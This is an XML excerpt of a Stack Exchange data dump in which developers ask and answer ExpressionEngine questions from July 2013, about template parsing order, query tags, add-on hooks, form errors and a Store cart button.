  <row Id="12161" PostTypeId="2" ParentId="12160" CreationDate="2013-07-22T12:47:45.583" Score="1" Body="&lt;p&gt;First, you could just use &lt;code&gt;{field:gender}&lt;/code&gt;, which will give you your Gender menu with the existing selection pre-selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to answer your question, here's the query you would use (in 2.5.5 or lower - things change in 2.6+):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT rel_child_id FROM exp_relationships WHERE rel_id = {gender}&quot;}&#xA;     {rel_child_id}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-22T12:47:45.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12162" PostTypeId="2" ParentId="12155" CreationDate="2013-07-22T12:52:29.307" Score="1" Body="&lt;p&gt;Don't worry about these deprecated function notices - I'm sure P&amp;amp;T are aware of it, and will remedy it in a future release, before EllisLab removes the deprecated from their codebase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These particular changes (to the Localize class) are irritating for developers to fix while maintaining compatibility with EE 2.5.5 and lower - especially since they are for the most part simply re-named functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fix your local copy, simply do a find and replace on the Matrix codebase, changing &lt;code&gt;set_human_time&lt;/code&gt; to &lt;code&gt;human_time&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-22T12:52:29.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12163" PostTypeId="2" ParentId="12141" CreationDate="2013-07-22T13:10:22.747" Score="1" Body="&lt;p&gt;It was an .htaccess issue. Nick didn't know that a .htaccess file is need to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;remove&lt;/a&gt; the index.php from the URLs.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-22T13:10:22.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12164" PostTypeId="2" ParentId="12127" CreationDate="2013-07-22T13:13:10.093" Score="1" Body="&lt;p&gt;Sure - just make sure you return &lt;code&gt;NULL&lt;/code&gt; or an empty array at the end of your method. (The hook expects an array of &lt;code&gt;member_id&lt;/code&gt;s to be sent back.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-22T13:13:10.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12165" PostTypeId="2" ParentId="11919" CreationDate="2013-07-22T13:23:13.873" Score="1" Body="&lt;p&gt;Fixed in 4.4.5, but passing along from P&amp;amp;T Support for 4.4.4: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace offending line in third_party/playa/helper.php with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!is_array($category) &amp;amp;&amp;amp; (strlen($category) &amp;gt; 4 &amp;amp;&amp;amp; (strtolower(substr($category, 0, 4)) == 'not ') || (strtolower(substr($category, 0, 4)) == 'not_')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-07-22T13:23:13.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12166" PostTypeId="2" ParentId="12159" CreationDate="2013-07-22T14:26:39.983" Score="1" Body="&lt;p&gt;I don't know how to fix your issues exactly, but I can help you with the EE logic in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the following file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/libraries/Session.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will notice that &lt;code&gt;userdata&lt;/code&gt; is a public property &lt;em&gt;and&lt;/em&gt; method. If you access the property, you get an editable associative array, whereas the &lt;code&gt;userdata()&lt;/code&gt; method just returns a specific key from that array. If you look at the method itself, you will see it's actually just referencing the property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Fetch a session item&#xA; *&#xA; * @param   string      Userdata item to return&#xA; * @param   default     value returned if the key isn't set&#xA; * @return  mixed       $default on failure, item on success&#xA; */ &#xA;public function userdata($which, $default = FALSE)&#xA;{  &#xA;    return ( ! isset($this-&amp;gt;userdata[$which])) ? $default : $this-&amp;gt;userdata[$which];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-22T14:26:39.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12167" PostTypeId="1" CreationDate="2013-07-22T14:34:45.793" Score="2" ViewCount="281" Body="&lt;p&gt;I'm working on a module function where it will take the tagdata and send it through email. The tagdata can contain anything from simple strings to plugin or module tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seems to find the clean solution without hacking the undocumented methods and probably unsupported and unstable and causing so many other problems.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template_file.html&#xA;{exp:my_module:send_mail}&#xA;  This is just an example with&#xA;  {exp:another_module:do_something_cool}&#xA;    some other cool stuffs&#xA;  {/exp:another_module:do_something_cool}.&#xA;&#xA;  {global_variables} are working fine with the parse_global() function&#xA;{/exp:my_module:send_mail}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above will just send the whole &lt;code&gt;$tagdata&lt;/code&gt; as it is without processing the &lt;code&gt;{exp}&lt;/code&gt; tag inside. How do I process that &lt;code&gt;{exp}&lt;/code&gt; tag before I send it through email?&lt;/p&gt;&#xA;" OwnerUserId="1633" LastActivityDate="2013-08-21T17:14:21.187" Title="Process plugins/modules tags inside another module" Tags="|templates|module|parsing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12168" PostTypeId="1" CreationDate="2013-07-22T16:03:19.007" Score="1" ViewCount="130" Body="&lt;p&gt;I have a custom field type that I've developed that I'm having a problem with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do something like &lt;code&gt;{field return=&quot;http://mysite.com/group/template/entry-url/thanks&quot;}&lt;/code&gt; everything parses fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using structure on the site too and if I use &lt;code&gt;{field return=&quot;{structure:page:url}thanks&quot;}&lt;/code&gt; that also works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I try to use a global variable inside like &lt;code&gt;{field return=&quot;{current_url}/thanks&quot;}&lt;/code&gt;, the replace_tag() method does not get called and I get an output like &lt;code&gt;{field return=&quot;http://mysite.com/group/template/entry-url/thanks&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even using an embed didn't work, the code below outputs the same as the example above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;embed code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;group/.field&quot; entry_id=&quot;{entry_id}&quot; return=&quot;{current_url}/thanks&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In field.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    disable=&quot;categories|pagination|member_data&quot;&#xA;    entry_id=&quot;{embed:entry_id}&quot;&#xA;}&#xA;    {field return=&quot;{embed:return}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm assuming this is some weird parse order issue, but I have no idea why it would happen. Is there a way to change when a field is parsed, or some other way to make this work?&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2013-09-21T07:45:43.667" Title="Fieldtype replace_tag() not firing" Tags="|add-on-development|fieldtype|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12169" PostTypeId="1" AcceptedAnswerId="12172" CreationDate="2013-07-22T16:14:15.773" Score="2" ViewCount="155" Body="&lt;p&gt;I didn't think this would give me any trouble, but it is. I just want to run a query depending on the URL segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {if segment_3 != ''}&#xA;            {exp:query sql=&quot;SELECT a.cat_id, a.parent_id, b.cat_name FROM exp_categories a, exp_categories b WHERE a.cat_url_title = '{segment_3}' AND b.cat_url_title = '{segment_2}'&quot;}&#xA;        {if:else}&#xA;            {exp:query sql=&quot;SELECT cat_id, parent_id FROM exp_categories WHERE cat_url_title = '{segment_2}'&quot;}&#xA;        {/if}&#xA;            ...&#xA;        {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But every time I wrap it in the IF statement, I get nothing...&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-07-22T17:51:16.197" Title="Wrapping a query in a logic statement" Tags="|ee2|query|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12170" PostTypeId="1" AcceptedAnswerId="12175" CreationDate="2013-07-22T16:20:03.043" Score="1" ViewCount="49" Body="&lt;p&gt;I have a challenge that I'm struggling to figure out a good solution for. I have a client that sells jewellery &amp;amp; gifts. They are categorised into brands and types, so I might have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Brand A Rings&lt;/li&gt;&#xA;&lt;li&gt;Brand A Pendants&lt;/li&gt;&#xA;&lt;li&gt;Brand B Rings&lt;/li&gt;&#xA;&lt;li&gt;Brand B Pendants&lt;/li&gt;&#xA;&lt;li&gt;Brand C Rings&lt;/li&gt;&#xA;&lt;li&gt;... etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They have brand pages where every relevant type is listed under each brand, and want to be able to select a representative image for each &lt;em&gt;brand type&lt;/em&gt; (so, two combined categories):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Brand A Rings [manually selected image]&lt;/li&gt;&#xA;&lt;li&gt;Brand A Pendants [manually selected image]&lt;/li&gt;&#xA;&lt;li&gt;Brand B Rings [manually selected image]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the moment I've come up with a 'showcase' category so I look for products categorised as 'showcase', and then use them within the brand page. However, this isn't that satisfactory as it's a clunky process to add the category, and there's no management of old showcase products etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to think of a more visual way to handle this that won't also introduce too much of a performance impact in terms of queries when I come to pull it all back together in the UI. Because I'm working with category combinations, I'm finding it quite tricky... I'm just wondering if anyone else out there has tackled a similar problem, or if there's a 3rd party add-on that I don't know about. I thought about Low Variables, or Channel Images, but I don't think either of them will help.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-08-21T22:25:48.200" Title="Selecting images to represent category *combinations*" Tags="|categories|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12171" PostTypeId="2" ParentId="12167" CreationDate="2013-07-22T17:07:16.920" Score="3" Body="&lt;p&gt;Man, take a look at the &lt;a href=&quot;https://github.com/croxton/Stash/blob/dev/mod.stash.php&quot; rel=&quot;nofollow&quot;&gt;function _parse_sub_template used on stash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark Croxton, the developer of stash, cloned the tagdata and parsed it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// clone the template object&#xA;$TMPL2 = $this-&amp;gt;EE-&amp;gt;TMPL;&#xA;unset($this-&amp;gt;EE-&amp;gt;TMPL);&#xA;&#xA;// parse variables&#xA;$TMPL2-&amp;gt;tagdata = $this-&amp;gt;_parse_template_vars($TMPL2-&amp;gt;tagdata);&#xA;&#xA;// parse simple conditionals&#xA;$TMPL2-&amp;gt;tagdata = $TMPL2-&amp;gt;parse_simple_segment_conditionals($TMPL2-&amp;gt;tagdata);&#xA;$TMPL2-&amp;gt;tagdata = $TMPL2-&amp;gt;simple_conditionals($TMPL2-&amp;gt;tagdata, $this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars);&#xA;// Remove any EE comments that might have been exposed before parsing tags&#xA;if (strpos($TMPL2-&amp;gt;tagdata, '{!--') !== FALSE)&#xA;{&#xA;    $TMPL2-&amp;gt;tagdata = preg_replace(&quot;/\{!--.*?--\}/s&quot;, '', $TMPL2-&amp;gt;tagdata);&#xA;}&#xA;// parse tags, but check that there really are unparsed tags in the current shell&#xA;if (strpos($TMPL2-&amp;gt;tagdata, LD.'exp:') !== FALSE)&#xA;{&#xA;    // parse tags&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL = new EE_Template();&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;start_microtime = $TMPL2-&amp;gt;start_microtime;&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;template = $TMPL2-&amp;gt;tagdata;&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tag_data   = array();&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_single = array();&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_cond   = array();&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;var_pair   = array();&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;plugins = $TMPL2-&amp;gt;plugins;&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;modules = $TMPL2-&amp;gt;modules;&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;module_data = $TMPL2-&amp;gt;module_data;&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_tags();&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;process_tags();&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;loop_count = 0;&#xA;&#xA;    $TMPL2-&amp;gt;tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;template;&#xA;    $TMPL2-&amp;gt;log = array_merge($TMPL2-&amp;gt;log, $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;log);&#xA;}&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;TMPL = $TMPL2;   &#xA;unset($TMPL2);&#xA;&#xA;// record if PHP is enabled for this template&#xA;$parse_php = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_php;&#xA;&#xA;// parse advanced conditionals&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;advanced_conditionals($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;&#xA;// restore original parse_php flag for this template&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_php = $parse_php;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please, improve this answer if you find more useful info.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-22T17:07:16.920" CommentCount="0" CommunityOwnedDate="2013-07-22T17:07:16.920" ContentLicense="CC BY-SA 3.0" />
  <row Id="12172" PostTypeId="2" ParentId="12169" CreationDate="2013-07-22T17:44:09.967" Score="5" Body="&lt;p&gt;This happens because of the &quot;else&quot;. If you use else, the conditional became &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#advanced-conditionals&quot;&gt;advanced&lt;/a&gt; and it will be &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot;&gt;parsed&lt;/a&gt; after the modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 != ''}&#xA;   {exp:query sql=&quot;SELECT a.cat_id, a.parent_id, b.cat_name FROM exp_categories a, exp_categories b WHERE a.cat_url_title = '{segment_3}' AND b.cat_url_title = '{segment_2}'&quot;}&#xA;{/if}&#xA;{if segment_3 ==''}&#xA;    {exp:query sql=&quot;SELECT cat_id, parent_id FROM exp_categories WHERE cat_url_title = '{segment_2}'&quot;}&#xA;{/if}&#xA;        ...&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-07-22T17:51:16.197" LastActivityDate="2013-07-22T17:51:16.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12173" PostTypeId="1" AcceptedAnswerId="12177" CreationDate="2013-07-22T18:33:42.930" Score="1" ViewCount="102" Body="&lt;p&gt;I have a three sites that are joined with MSM in EE 1.7.1.  Currently, I am working to put in a better contact form for the three sites.  On the two sub sites, www.watermarkcc.com/events/contact and www.sunnybrookcc.com/events/contact, the form works fine.  I can modify it freely and it submits the inputs correctly.  On the third site, www.stonewatercc.com/events/contact_testing, which is the main site, I get these PHP errors when I submit the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Trying to get property of non-object in /home/stone/public_html/admin/core/core.functions.php on line 2659&#xA;&#xA;Notice: Trying to get property of non-object in /home/stone/public_html/admin/core/core.functions.php on line 2659&#xA;&#xA;Notice: Trying to get property of non-object in /home/stone/public_html/admin/core/core.functions.php on line 2659&#xA;&#xA;Notice: Trying to get property of non-object in /home/stone/public_html/admin/core/core.functions.php on line 2659&#xA;&#xA;Warning: Cannot modify header information - headers already sent by (output started at /home/stone/public_html/admin/core/core.functions.php:2659) in /home/stone/public_html/admin/core/core.functions.php on line 325&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before, I was also getting that the second parameter in the array_merge wasn't an array, and I added &quot;(array)&quot; to both parameters to get rid of that warning, but that leaves me with the warnings above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 2659 in the file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars = array_merge((array)$vars, (array)$TMPL-&amp;gt;embed_vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 325 in the file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch($PREFS-&amp;gt;ini('redirect_method'))&#xA;{&#xA;    case 'refresh' : header(&quot;Refresh: 0;url=$location&quot;);&#xA;    break;&#xA;    default        : header(&quot;Location: $location&quot;); //line 325&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have any suggestions?  I am using the exact same code for all three forms so I am very confused why one isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the opening tag of the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;sunnybrook_contact&quot; notify=&quot;info@sunnybrookcc.com&quot; template=&quot;custom_contact_sb&quot; required=&quot;name|email&quot;  return=&quot;events&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2013-07-22T20:11:20.307" Title="Error using freeform with MSM - not working on main site" Tags="|multi-site-manager|ee1|solspace-freeform|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12174" PostTypeId="1" AcceptedAnswerId="12179" CreationDate="2013-07-22T18:38:21.717" Score="2" ViewCount="93" Body="&lt;p&gt;Having some trouble getting the empty_cart form element to work as a &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout next=&quot;store/checkout/1&quot;}&#xA;  ...&#xA;  &amp;lt;input type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Empty Cart&quot; /&amp;gt;&#xA;{/exp:store}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However using a button element instead of an input will not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout next=&quot;store/checkout/1&quot;}&#xA;  ...&#xA;  &amp;lt;button type=&quot;submit&quot; name=&quot;empty_cart&quot;&amp;gt;Empty Cart&amp;lt;/button&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other inputs such as &quot;update_cart&quot; work fine as button elements. Is this a bug or am I just missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I want to use button elements is for styling purposes and I have to add an icon in the button using the CSS framework the project uses.&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-07-22T21:17:29.810" Title="button element not working for empty_cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12175" PostTypeId="2" ParentId="12170" CreationDate="2013-07-22T19:37:18.440" Score="1" Body="&lt;p&gt;I think you should use a status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the status of products as &quot;showcase&quot; and add a fieldtype to its showcase photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you can't sort entries by status, you can use two &lt;code&gt;channel:entries&lt;/code&gt; modules.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; status=&quot;showcase&quot;}&#xA;    &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;    [...]&#xA;    &amp;lt;/div&amp;gt;&#xA;    {embed=&quot;products/.list&quot; showcase_product=&quot;not {entry_id}&quot;}&#xA;    {if no_results}&#xA;    {embed=&quot;products/.list&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, on an embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;10&quot; status=&quot;showcase|open&quot; entry_id=&quot;{embed:showcase_product}&quot;}&#xA;    &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;    [...]&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this way the showcase entry will be the first one on a list. You can just grab the first showcase item to change a background or a header and list your entries normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the status parameter on embed as both &quot;open&quot; and &quot;showcase&quot; in case the user forget to change some entry back to the open state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use sticky_entries too, but they can make some mess on other lists around the website.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-07-22T20:19:58.383" LastActivityDate="2013-07-22T20:19:58.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12176" PostTypeId="2" ParentId="12168" CreationDate="2013-07-22T20:09:17.030" Score="1" Body="&lt;p&gt;This is due to an issue with the EE API (it simply doesn't support nested variables within the FT tag parameters). The reason structure works is those tags are parsed early so by the time the channel entries loop run, the variables are parsed and therefor the FT tag parses correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use the following syntax to pass variables that are parsed later. Note, there are definitely other ways to work around this limitation, but this is the easiest fix if you don't need to use the tagdata for anything else.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field}&#xA;    {embed:return}&#xA;{/field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-22T20:09:17.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12177" PostTypeId="2" ParentId="12173" CreationDate="2013-07-22T20:11:20.307" Score="1" Body="&lt;p&gt;Apparently, this was only a problem on one browser on my computer.  In that browser, it decided that I was logged into the site as the super admin and it was having trouble letting me do anything more advanced that simply looking at the sites.&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2013-07-22T20:11:20.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12178" PostTypeId="1" CreationDate="2013-07-22T20:21:25.010" Score="1" ViewCount="2272" Body="&lt;p&gt;getting these errors when an entry is updated. It is supposed to send an email to a mailing list using mx notify control:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: From&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 1584&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: From&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 1190&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: Return-Path&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 885&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: Return-Path&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 1747&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: From&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 1190&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: Return-Path&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 885&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: Return-Path&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 1747&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: From&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 1190&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: Return-Path&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 885&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: Return-Path&#xA;&#xA;Filename: libraries/Email.php&#xA;&#xA;Line Number: 1747&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/tanyacol/admin/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 809&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/user/admin/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 414&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="150" LastEditDate="2014-04-06T07:06:08.260" LastActivityDate="2014-04-20T03:31:37.570" Title="PHP errors Message: Undefined index: From using MX Notify Control" Tags="|extension|notification|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12179" PostTypeId="2" ParentId="12174" CreationDate="2013-07-22T21:17:29.810" Score="3" Body="&lt;p&gt;I think the problem is submitted data. A button (of submit type) will submit a form, but it won't pass any value as POST and Store requires that to confirm what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Empty Cart&quot;&amp;gt;Empty Cart&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it has a value, it'll be submitted with the form data and Store can read it.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-22T21:17:29.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12180" PostTypeId="2" ParentId="12157" CreationDate="2013-07-23T02:44:49.707" Score="1" Body="&lt;p&gt;There is nothing in Store directly that would allow you to send an email based upon the stock changing. I would recommend you use a conditional in your template similar to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock == 0}&#xA; // Signup form to collect&#xA; // users email address&#xA; // goes here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on which approach you use for collecting the users email address you can send an email to them letting them know that the item is back in stock. Some things you will need to think about is unsubscribing users from the list after the email is sent or do you want to leave them in the list unless they unsubscribe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To automate the process of sending out an email you could write an extension based upon one of the extension hooks. I would probably say the &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_inventory_datatable&quot; rel=&quot;nofollow&quot;&gt;store_inventory_datatable&lt;/a&gt; would fit your needs.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-23T02:44:49.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
